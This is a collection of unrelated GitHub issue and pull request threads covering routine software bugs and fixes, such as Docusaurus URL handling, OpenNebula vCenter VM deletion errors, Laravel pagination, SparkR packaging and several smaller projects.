:+1:


Use absolute URLs for ZNG-format GitHub test data

https://github.com/brimdata/zed-docs-site/issues/26 describes how the URLs to ZNG test data in the Zed tutorial break after they make their way to the production docs site. I've since researched both of the possible fixes I described in that issue and in this PR have decided on the approach of using an absolute URL.
FWIW, I did test out the other proposed approach of just setting trailingSlash: false in the Docusaurus config. This seemed to work fine. However, there's no shortage of pages on the web such as this StackOverflow thread where people argue passionately about their strong feelings on this topic, with the loudest voices seeming to come down on the side of having the trailing slashes. I don't know how strongly the Brim Dev team feels about it, but since the trailing slashes were there originally, I assume that reflects a preference.
Meanwhile, the open issue at https://github.com/facebook/docusaurus/issues/6282 gets into whether it's currently possible for Docusaurus to be smart enough to drop the trailing slash for file assets, and the short answer is effectively "no". Granted, it looks like we could hack their code and add .zng an additional extension to the set shown in https://github.com/facebook/docusaurus/issues/6282#issuecomment-1011120038, but this all seems kind of heavyweight for something that bites us in all of two URLs.
As I see it, linking directly to the raw file destination saves the user a click even if they should be looking at the docs while in GitHub, and then it has the follow-on benefit of Docusaurus leaving the link alone, so this fix is quick and clean.
You can see a working test version of the deployed fix at https://philrz.github.io/docs/next/tutorials/zed/
Fixes https://github.com/brimdata/zed-docs-site/issues/26

@philrz I feel inclined that we should serve these static assets from the docusaurus site rather than github. I also see that the docusaurus docs site itself sets the trailingSlash to false for production (they indeed have an example that does what we're trying to do here https://docusaurus.io/docs/markdown-features/assets#files), so I say we just close this pr and set trailingSlash to false on zed docs site.

Also the docusaurus site appears to handle these file in a slick way- it appears to push the file to the assets folder only if it's contents have changed. This has the benefit of keeping the file versioned meaning a v1.1.0 zng file in version v1.1.0 of docs will stay working with v1.1.0 version of zed.

@mattnibs: I'm fine with that proposal. @nwt seemed to feel similarly when I spoke to him about it this morning. As mentioned above, I only opted for the approach I proposed here because I assumed the way it was configured initially was a reflection that some of our team might feel as passionately about wanting trailing slashes similar to the people that spoke up in that StackOverflow thread. I'll close this and open a separate PR to propose taking out the trailing slashes.


LightwaveRF commands not working

LightwaveRF configured used to work a couple of releases ago, but i have now noticed the commands do not now work.  The LightwaveRF switches and sockets are now only responding to request via Smarthings.
  Reboots in this instants are reboots of the host and NOT hassos restarts


Expose GIL config value as environment variable

Hello @ivan-c! Thanks for submitting the PR.

In the file portal/config/config.py, following are the PEP8 issues :

Line 69:31: E231 missing whitespace after ','


Remove extra character from copy url

Issue #:
https://github.com/bcgov/met-public/issues/707
Description of changes:

Remove extra character  '}' from copy url

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of the met-public license (Apache 2.0).

Codecov Report

Merging #708 (32e809f) into main (7a3a5d6) will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##             main     #708   +/-   ##
=======================================
  Coverage   71.84%   71.84%
=======================================
  Files         136      136
  Lines        3460     3460
  Branches      221      221
=======================================
  Hits         2486     2486
  Misses        949      949
  Partials       25       25

Flag
Coverage Δ

metweb
65.73% <100.00%> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

.../components/engagement/form/EngagementSettings.tsx
73.07% <100.00%> (ø)


Error while deleting VM with multiple disks

Description
Getting this, when deleting VM with multiple disks:
Thu Nov 1 09:57:54 2018 [Z0][VM][I]: New LCM state is EPILOG
Thu Nov 1 09:57:55 2018 [Z0][TM][I]: Command execution fail: /var/lib/one/remotes/tm/vcenter/delete vCloud:/var/lib/one//datastores/101/1283/disk.0 1283 100
Thu Nov 1 09:57:55 2018 [Z0][TM][I]: Error obtaining the vCenter client and VM object. Reason: wrong number of arguments (3 for 0..2)
Thu Nov 1 09:57:55 2018 [Z0][TM][I]: ["/usr/lib/one/ruby/vcenter_driver/virtual_machine.rb:892:in `initialize'", "/var/lib/one/remotes/tm/vcenter/delete:114:in `new'", "/var/lib/one/remotes/tm/vcenter/delete:114:in `"]
Thu Nov 1 09:57:55 2018 [Z0][TM][I]: ExitCode: 255

VM information:
VIRTUAL MACHINE 1283 INFORMATION
ID                  : 1283
NAME                : sdfsdffsdfsd
USER                : CloudAdmin
GROUP               : users
STATE               : DONE
LCM_STATE           : LCM_INIT
RESCHED             : No
START TIME          : 10/31 19:07:17
END TIME            : 11/01 09:57:55
DEPLOY ID           : vm-2396

VM DISKS
 ID DATASTORE  TARGET IMAGE                               SIZE      TYPE SAVE
  0 NAS8(IMG)  sda    course_vm - NAS8 [template 492]     -/21.5G   file   NO
  1 NAS8(IMG)  sdb    course_vm_1 - NAS8 [template 492]   -/21.5G   file   NO
  2 NAS8(IMG)  sdc    course_vm_6 - NAS8 [template 492]   -/17G     file   NO
  3 NAS8(IMG)  sdd    course_vm_7 - NAS8 [template 492]   -/17G     file   NO
  4 NAS8(IMG)  sde    course_vm_8 - NAS8 [template 492]   -/9G      file   NO
  5 NAS8(IMG)  sdf    course_vm_9 - NAS8 [template 492]   -/9G      file   NO

VIRTUAL MACHINE HISTORY
SEQ UID  REQ   HOST         ACTION       DS           START        TIME     PROLOG
  0 2    3392  vCloud       terminate-  101  10/31 19:07:25   0d 14h50m   0h00m05s

Found two ways to fix it(but i'm not sure if it's the good way):

Changing the line from vm = VCenterDriver::VirtualMachine.new(vi_client, vm_ref, vmid)  to vm = VCenterDriver::VirtualMachine.new_from_ref(vm_ref, vi_client) in the next files at tm/vcenter: delete, mvds, cpds and resize.
#2571
Another is to update initialize method at VCenterDriver::VirtualMachine class
from:

    def initialize(item=nil, vi_client=nil)
        @item = item
        @vi_client = vi_client
        @locking = true
        @vm_info = nil
    end

to:
    def initialize(vi_client=nil, item=nil, vm_id=nil)
        @item = item
        @vi_client = vi_client
        @locking = true
        @vm_info = nil
        @vm_id = vm_id
    end

And getting vcenter item before vm = VCenterDriver::VirtualMachine.new(vi_client, vm_ref, vmid) like here:
Now:
    vi_client = VCenterDriver::VIClient.new_from_host(host_id)

    if vm_ref && !vm_ref.empty?
        vm = VCenterDriver::VirtualMachine.new(vi_client, vcenter_vm, vmid)
    else
        # we try to get vcenter item
        vcenter_vm = VCenterDriver::VIHelper.find_vcenter_vm_by_name(one_vm, host, vi_client)

        # If no VM object retrieved, raise an exception
        raise "Could not find the undeployed VM in vCenter's inventory using it's name" if !vcenter_vm

        vm_ref = vcenter_vm._ref
        vm = VCenterDriver::VirtualMachine.new(vi_client, vm_ref, vmid)
    end

Maybe:
    vi_client = VCenterDriver::VIClient.new_from_host(host_id)

    vcenter_vm = VCenterDriver::VIHelper.find_vcenter_vm_by_name(one_vm, host, vi_client)
    raise "Could not find the undeployed VM in vCenter's inventory using it's name" if !vcenter_vm
    vm = VCenterDriver::VirtualMachine.new(vi_client, vcenter_vm, vmid)

Details

Affected Component: TM_MAD
Hypervisor: vCenter
Version: 5.4.3

Progress Status

[ ] Branch created
[ ] Code committed to development branch
[ ] Testing - QA
[ ] Documentation
[ ] Release notes - resolved issues, compatibility, known issues
[ ] Code committed to upstream release/hotfix branches
[ ] Documentation committed to upstream release/hotfix branches

Fixed by updating driver.
but


[5.0] Pagination removed from root and fixed the data

 Pagination
I bumped into 2 bugs in the pagination and in the test for the pagination.
 Data
The data that was beeing fetched was the same on every page.
I fixed this by edditing the formula for the items.
 Root
The paginator worked fine as long as you used it on the root of your application. Saw more people struggeling with the use of the setPath('') fix. I changed the default path to null and removed the forward slash in the constructor so the pagination is usable on a subpage.
I had to fix the matching test, the test results didn't check for the correct values. The second page only should have 1 record.

I can't recreate your data the same on every page thing, which makes me a little nervous to merge this. Also have never heard that from anyone else on 5.0. Can you show me how to recreate that?

This looks to be breaking too. The pagination component is one thing that people definitely mess with. We can't change it's behaviour like this.

This is the array slice problem:
Route::get('paginator', function(){
   $data = ['item1','item2','item3','item4','item5','item6','item7','item8','item9'];

   $data = new Paginator($data, 4, 2);

   dd($data);
});

Gives me the following result

You see that the items in the array of the second page are item 1 to 4. These should be 5 to 8.
This is tested in the last unit test, but it wasn't checking for the correct values
For the page problem I changed my
dd($data);

to
echo $data->render();

You see that the link to the next page is pointing to the root path, instead of paginator?page=3

OK, this is somewhat of a common misconception. The Paginator accepts data that is already "sliced" (i.e. from a Database limit and offset statement)... it does not do the slicing itself.

Oke, I indeed expected the paginator to slice the data for me (this is what I changed the code to in my fork). The official documentation states: "Sometimes you may wish to create a pagination instance manually, passing it an array of items.".
I was under the impression that this ment passing the entire array of items. My misunderstanding, maybe an idea for 5.1 ?
As for the path, I dont think it should redirect the next page to the root of my application by default?

I can't recreate that root path issue either, let me look at it again.
On Tue, Feb 24, 2015 at 8:53 AM, Bing van Moorsel<EMAIL_ADDRESS>wrote:

Oke, I indeed expected the paginator to slice the data for me (this is
what I changed the code to in my fork). The official documentation states:
"Sometimes you may wish to create a pagination instance manually, passing
it an array of items.".
I was under the impression that this ment passing the entire array of
items. My misunderstanding, maybe an idea for 5.1 ?
As for the path, I dont think it should redirect the next page to the root
of my application by default?
—
Reply to this email directly or view it on GitHub
https://github.com/laravel/framework/pull/7456#issuecomment-75770443.

http://laravel.io/forum/02-09-2015-laravel-5-pagination-query-string-after-slash-issue
Here is a forum post about the same problem.

You should just pass it the path like the query builder does:
return new LengthAwarePaginator($results, $total, $perPage, $page, [
     'path' => Paginator::resolveCurrentPath()
]);

Instead of resolveCurrentPath, just use Request::url().


wheel.packages cannot point to a module?

I've encountered this when trying to write a minimal test setup where I didn't care about placing everything in a proper package, but wanted to write them dirty as modules, i.e.:
$ tree
.
├── CMakeLists.txt
├── hello.py
├── main.cpp -> ../main.cpp
└── pyproject.toml

[build-system]
requires = ["scikit-build-core", "main-project-that-i-am-testing-the-packaging-for"]
build-backend = "scikit_build_core.build"

[project]
name = "simple-test-for-the-CMake-find_package"
version = "0.0.0"

[project.scripts]
run_test = "hello:run"

[tool.scikit-build]
wheel.install-dir = "simple_test"
wheel.packages = ["hello"]

And in the test I want to simply run the executable. I would probably remove the wheel.install-dir so that it installs directly into SKBUILD_SCRIPTS_DIR, but just a weird setup where I got this to break :shrug:

Hmm, no, it's only directories (packages). If all it is is a wrapper, you should install to SKBUILD_SCRIPTS_DIR (you need to use experimental=True + wheel.install-dir = "/scripts" or install to SKBUILD_SCRIPTS_DIR, though). I've wondered in the past if we could set the bin install dir for users but we don't currently.


Improve typehint

Subject
I am targeting this branch, because BC.
The $revision param is often restrict to int but could work with string too. (and SonataAdmin is using int|string).
The $id seems to only work with int|string|array if I read the code.
I also add some typehint for constructor or Exception/Object we're using.
This will fix some errors from https://github.com/sonata-project/SonataDoctrineORMAdminBundle/pull/1386/checks?check_run_id=2265615169
Changelog

### Added
- Allow `$revisions` param to be a string in `AuditManager` methods.

Maybe we could restrict the config to "integer" and "string".

It would be a BC-break no ? I think we will be able to restrict only for the next major...

It would be a BC-break no ? I think we will be able to restrict only for the next major...

Yes. We should deprecate the types that we consider invalid before.

@phansys There is the following code:
$revisionsTable->addColumn('id', $this->config->getRevisionIdFieldType(), [
            'autoincrement' => true,
        ]);

Would it work with string ?

Would it work with string ?

I think the autoincrement option is ignored for other types.


Update to use higher level ti helper image getter

With reference to http://developer.android.com/reference/android/app/ActionBar.html#setHomeAsUpIndicator(android.graphics.drawable.Drawable) a drawable can be passed to setHomeAsUpIndicator so we use that helper instead

Thanks a lot. Have you successfully tested this?

Sorry, not yet. You have a build.properties file that has your home directory in it. So fails.
 Why can't it pick up the variables itself :(
Unless I should be doing something other than typing ant to build

I know.. this is actually Ricardos build properties in this repo. I'm gitignoring my local one.
But no problem, I'll test your PR later today. I'm just currently busy with other stuff.

Just tested. But it does not work for me. I'm testing with the example code. It actually breaks the functionality that has worked before. I'm getting the error Couldn't resolve ...


[SPARK-22167][R][BUILD] sparkr packaging issue allow zinc

What changes were proposed in this pull request?
When zinc is running the pwd might be in the root of the project. A quick solution to this is to not go a level up incase we are in the root rather than root/core/. If we are in the root everything works fine, if we are in core add a script which goes and runs the level up
How was this patch tested?
set -x in the SparkR install scripts.

Note: set -x is intentionally left in so that during the build it is clear which R source is being built.

Test build #82355 has started for PR 19402 at commit 8d59d54.

cc @felixcheung @vanzin

That should work more simply, thanks. I'll try that later on tonight.

Test build #82355 has finished for PR 19402 at commit 8d59d54.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/82355/
Test PASSed.

@felixcheung can you trigger the R tests for this?

Test build #82356 has started for PR 19402 at commit aea4ccf.

Test build #82356 has finished for PR 19402 at commit aea4ccf.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/82356/
Test PASSed.

I'm not sure why appveyor is not triggered...
but I thought this is more of a java/scala change. since jenkins passes and if you have verified release-build.sh works with this with zinc on then we should be good to merge

building your change here #19403

passed
https://ci.appveyor.com/project/ApacheSoftwareFoundation/spark/build/1804-master

Sounds good :)

Test build #82393 has started for PR 19402 at commit 40a7f6c.

merged to master, branch-2.2, and branch-2.1

Test build #82393 has finished for PR 19402 at commit 40a7f6c.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/82393/
Test PASSed.

Merged build finished. Test PASSed.


Add option to include date created for notes alongside date modified

Is your feature request related to a problem? Please describe.
Not really a problem. I just feel like it helps me think better if I know when I created a note vis a vis when I modified it. This also helps readers contextualize any effort I give to developing specific notes.
Describe the solution you'd like
I would like "Date created" to show up on all my notes.
Describe alternatives you've considered
An alternative could be a feature in, say config.yaml, to toggle between showing the date of creation and hiding it.
Additional context
I encountered the idea from Maggie Appleton, who includes both date created and date modified in her public digital notes and essays.

This issue should be fixed in Quartz 4. I'll be closing it for now but please reopen this issue if this persists in the new version.


image size experiments results not showing on dashboard

Image Size Experiments for AWS, GCR, and Azure do not consistently appear on the dashboard, unlike the Runtime/Warm-Cold invocation experiments, where this issue does not occur.
https://github.com/vhive-serverless/STeLLAR/actions/runs/10351485840
This week's run (13/8/24):

Image Size Experiments
50 MB
100 MB

AWS
❌
❌

GCR
✔
❌

Azure
✔
✔

Dashboard:
50 MB

100 MB

Workflow/GitHub Actions Completion:

Fixed by https://github.com/vhive-serverless/STeLLAR/commit/7e57f24cc2778f8ec5b268a693f281c3a6f8d60f!
@kavi-99 Please check.


Launchbuuddy doesn't start anymore

Since this morning I am not able to start Launchbuddy from the desktop or my LB folder anymore. After starting the LB.exe nothing happens, even not in admin-mode.
The weird thing is, I then deleted LB and downloaded it again. After this I was able to start the LB.exe out of the download folder (directly from Firefox or the download folder in Windows, makes no difference), but as soon as I move the LB.exe to my LB folder or any other folder it doesn't work.
Edit: I downloaded LB, left the LB.exe in the download folder and created a shortcut in my LB folder which seems to wok for now, although I could not solve the main problem.
Any Ideas?

It's true. Launchbuddy does not seem to work anymore

This issue should be fixed with version 2.0.1.
Please report back if the error persists.


test the comment form

Is it stripping allowed HTML? (there was a report of an a tag being stripped)

I tested it, it doesn't seem to be stripping a tags. I think we can close this. If a new issue comes up we can seek more info.


Executables in repo

I think it would be better to use releases.

Will do that this evening

Done https://github.com/erebe/greenclip/releases
Thanks for the tip


Adjust source release document

The Build and sign the source code package section of release document, should be adjust based on IPMC vote discussion.
<EMAIL_ADDRESS>Don't build the source code from the preview staging codes, which includes mvn package(mvn test, too).
Please consider to use a new folder to run git clone .... --recurse-submodules by @johnament suggestion.

OK, from that mail, we can do it step by step such as:

Cloning into 'incubator-skywalking'
Submodule 'apm-protocol/apm-network/src/main/proto'
Submodule 'skywalking-ui'
packed

Done


The default batch size is 10 times the input batch size

Thank you for your work. I found the default batch size is 10 times the input batch size.
Is this your setting, and what's the point of doing so? Where can I find it?

What are you referring to by the "default batch size" and "input batch size"?
The examples/train.py specifies a training batch size of 16:
https://github.com/InterDigitalInc/CompressAI/blob/ee91d536bd934fc1f8b1532f78db4c94072ae26d/examples/train.py#L198-L200
The documentation states:

Models were trained with a batch size of 16 or 32

I mean, when I'm training, the batch size I specify is 16, but when I print out a file, it's 160 times. Is this your setting?

That's probably just the default interval for printing the progress bar.
https://github.com/tqdm/tqdm#documentation
The actual batch size is still 16, which you can check by printing out x.shape.

Thank you very much for your answer. I wish you a happy life and work


Support comments (before item/on same line as item)

This mostly works with #15 (block nodes already slurped a trailing newline, they now slurp a trailing inline comment).  Comments on a line by themselves should not cause a parse error, but are unlikely to be edited and there isn't an api to do so.


FALCON-2284 removing the extra character at the start of extension-name in list API

bin/falcon extension  -list -extensionName extension-example
Hadoop is installed, adding hadoop classpath to falcon classpath
SLF4J: Class path contains multiple SLF4J bindings.
SLF4J: Found binding in [jar:file:/usr/local/falcon/falcon-distributed-0.11-SNAPSHOT/client/lib/slf4j-log4j12-1.7.5.jar!/org/slf4j/impl/StaticLoggerBinder.class]
SLF4J: Found binding in [jar:file:/usr/hdp/<IP_ADDRESS>-2/hadoop/lib/slf4j-log4j12-1.7.5.jar!/org/slf4j/impl/StaticLoggerBinder.class]
SLF4J: See http://www.slf4j.org/codes.html#multiple_bindings for an explanation.
SLF4J: Actual binding is of type [org.slf4j.impl.Log4jLoggerFactory]
4
sampleAsc    extension-example
sampleAsc2    extension-example


ECDSA, ED25519 : these keys are not working

Fixed by 14.0.1

Want to be a beta tester?
https://testflight.apple.com/join/QSrBK59z


favicon added new pr

No favicon for main website - issue #2673
favicon added to main website without adding any image into the pr.

Close #2673

Checklist:

[x] I have mentioned the issue number in my Pull Request.
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have created a helpful and easy to understand README.md

@pranjay-poddar following up


Bugfix for option sanitizer

Fixes: https://github.com/mrclay/minify/issues/654
I ran into the exact same problem when updating to 3.0.5. The problematic commit is:
https://github.com/mrclay/minify/commit/f50353a9521dca7503be4127c49022ed14b4d594#diff-0a33c0dcf39fa4df82a80b0cb6f0fe03
This newly commited code cleanr the config, so the code will run into a permission due to a missing allowDirs configuration and debugging won't be enabled (hence no error message in FirePHP and the likes).
I'm not exactly sure why the config variables are sanitized, but if this has to work the callable for array_filter needs the defined variables passed into the closure like this:
$varDefined = get_defined_vars();

$varNames = array_filter($varNames, function($name) use($varDefined)
{
    return array_key_exists($name, $varDefined);
});

makes sense that get_defined_vars() is scoped.


solve- like function which dispatches on EpiAwareProblem and EpiAwareMethod

I'm nearly at a sensible draft PR for this.
For the sampling steps I'm basing the definitions on AbstractMCMC, which is Turings common type system. So for example the behaviour of doing thread-based parallelism vs serial chain sampling is decided by choosing some type <:AbstractMCMC.AbstractMCMCEnsemble. Saves the hassle of the repeating and we are using this ecosystem anyway